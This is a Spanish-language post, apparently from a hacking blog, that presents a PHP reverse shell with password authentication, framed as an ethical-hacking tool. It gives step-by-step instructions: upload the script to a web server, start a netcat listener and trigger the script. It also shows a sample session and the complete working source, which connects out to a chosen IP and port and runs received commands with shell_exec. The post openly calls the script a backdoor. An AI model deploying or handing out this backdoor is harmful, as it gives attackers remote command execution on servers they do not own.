PHP Shell Inversa v1.0 - Autenticación de funciones.



Esta herramienta está diseñada para situaciones en la que un pentester tiene acceso a un servidor web que ejecuta PHPy requiere de una Shell para trabajos de Ethical Hacking.

Este Script se debe subir en algún lugar de la raíz  del sitio web, después ejecutarlo accediendo a la URL correspondiente en su navegador. La Shell se abrirá bajo una conexión TCP desde el servidor web a un host y el puerto definido en el guión.

Esta Shell es adecuada para que se puedan ejecutar programas interactivos como Telnet y SSH.
Esta Shell tiene una función de autenticación incorporada que evita que otra persona abuse de su Backdoor.
Se diferencia de las demas Shell de formulario de autenticacion basado en Web que le permite enviar un solo comando,

Modificación de conexión en el Cod. 


1
2
3
$ip = "127.0.0.1"; #Cambie esto a su IP 
$puerto = 4444; #Cambie esto a su puerto
$contraseña = base64_decode("aGFja3N5c3RlYW0="); #Contraseña por defecto: hacksysteam (MD5)


Cambie los valores según su necesidad y situación

Configuración de NetCat Receptor:

Inicie un receptor Netcat en un host y el puerto que será accesible por el servidor web.
Utilice el mismo puerto en este momento según lo especificado en el script de shell inversa, por ejemplo, (4444):


1
C:\Users\Antony\netcat>:~ # nc -lvvp 4444

Subir el Script y Ejecutarlo:
Subir el Script de Shell Inversa. Ejecute el script simplemente buscando el archivo recién cargado en su navegador web.


1
http://.php


Nota: No verá ninguna salida en la página web, si esta tiene activada (display errors) puede que muestre algun warning o error y la pagina queda en un lapso de espera, de ser asi haga caso omiso y revise su NetCat Listener.

En el encontrara la captura del login del script, digite la contraseña configurada para ingresar a la Shell:


 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
C:\Users\Antony\netcat>nc -lvvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost127.0.0.1 [127.0.0.1] 4077

_ _ _ _____
| | | | | | / ____|
| |__| | __ _ ___| | _| (___ _ _ ___
| __ |/ _` |/ __| |/ /\___ \| | | / __|
| | | | (_| | (__| < ____) | |_| \__ \
|_| |_|\__,_|\___|_|\_\_____/ \__, |___/
_______ __/ |
|__ __| |___/
| | ___ __ _ _ __ ___
| |/ _ \/ _` | '_ ` _ \
| | __/ (_| | | | | | |
|_|\___|\__,_|_| |_| |_|

Reverse Shell in PHP
Author: Ashfaq Ansari
hacksysteam@hotmail.com
http://hacksys.vfreaks.com/

Enter Password: hacksysteam

Authentication Successfull..

System Information:

Current Working Directory:
User Group:
Current Date and Time: La fecha actual es: 09/03/2015
Escriba la nueva fecha: (dd-mm-aa)

@127.0.0.1:~#


Código Fuente de la Shell Inversa


  1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101

###################################################
# Reverse Shell v1.0 #
# Authentication Feature #
# #
# Hacksys Team - Panthera #
# Author: Ashfaq Ansari #
# hacksysteam@hotmail.com #
# http://hacksys.vfreaks.com #
# Designed for Linux #
# Thanks to lionaneesh #
# lionaneesh@gmail.com #
###################################################

ini_set('max_execution_time' ,0);

$VERSION = "1.0";
$ip = "127.0.0.1"; #Change this
$port = 4444; #Change this
$password = base64_decode("aGFja3N5c3RlYW0="); #Default Password: hacksysteam (MD5)

$banner = ("
_ _ _ _____
| | | | | | / ____|
| |__| | __ _ ___| | _| (___ _ _ ___
| __ |/ _` |/ __| |/ /\___ \| | | / __|
| | | | (_| | (__| < ____) | |_| \__ \
|_| |_|\__,_|\___|_|\_\_____/ \__, |___/
_______ __/ |
|__ __| |___/
| | ___ __ _ _ __ ___
| |/ _ \/ _` | '_ ` _ \
| | __/ (_| | | | | | |
|_|\___|\__,_|_| |_| |_|

Reverse Shell in PHP
Author: Ashfaq Ansari
hacksysteam@hotmail.com
http://hacksys.vfreaks.com/\n\n");

$pwd = shell_exec("pwd");
$sysinfo = shell_exec("uname -a");
$id = shell_exec('id | cut -d "(" -f 2 | cut -d ")" -f 1' );
$date = shell_exec("date");
$len = 1337;
$info =
("
System Information:\n$sysinfo
Current Working Directory: $pwd
User Group: $id
Current Date and Time: $date\n
");

print "\nTrying to connect to: $ip on port $port ...\n\n";

$sockfd = fsockopen($ip , $port , $errno, $errstr );

if($errno != 0)
{
print "\n****** Error Occured ******\nError Nnumber: $errno\nError String: $errstr\n\n";
die(0);
}
else if (!$sockfd)
{
print "Fatal : An unexpected error was occured when trying to connect!\n";
}
else
{
print "Connected to: $ip on port $port ...\n\n";
fputs ($sockfd , $banner);
fputs($sockfd ,"Enter Password: ");
$getpass = trim(fgets($sockfd, strlen($password) + 2));

if ($getpass == $password)
{
fputs($sockfd, "\nAuthentication Successfull..\n");
fputs($sockfd, $info);
while(!feof($sockfd))
{
$cmdPrompt = trim($id) . "@" . trim($ip) . ":~" . trim($pwd) . "# ";
fputs ($sockfd , $cmdPrompt );
$command = trim(fgets($sockfd, $len));
if (trim($command) == "exit")
{
fputs($sockfd ,"\nAborted by user... Exiting..." );
fclose($sockfd);
die(0);
}
fputs($sockfd , "\n" . shell_exec($command) . "\n");
}
fclose($sockfd);
die(0);
}
else
{
fputs($sockfd ,"\nInvalid Password... Quitting...");
fclose($sockfd);
die(0);
}
}
?>



Agradecimiento a @Ashfaq Ansari autor del Script.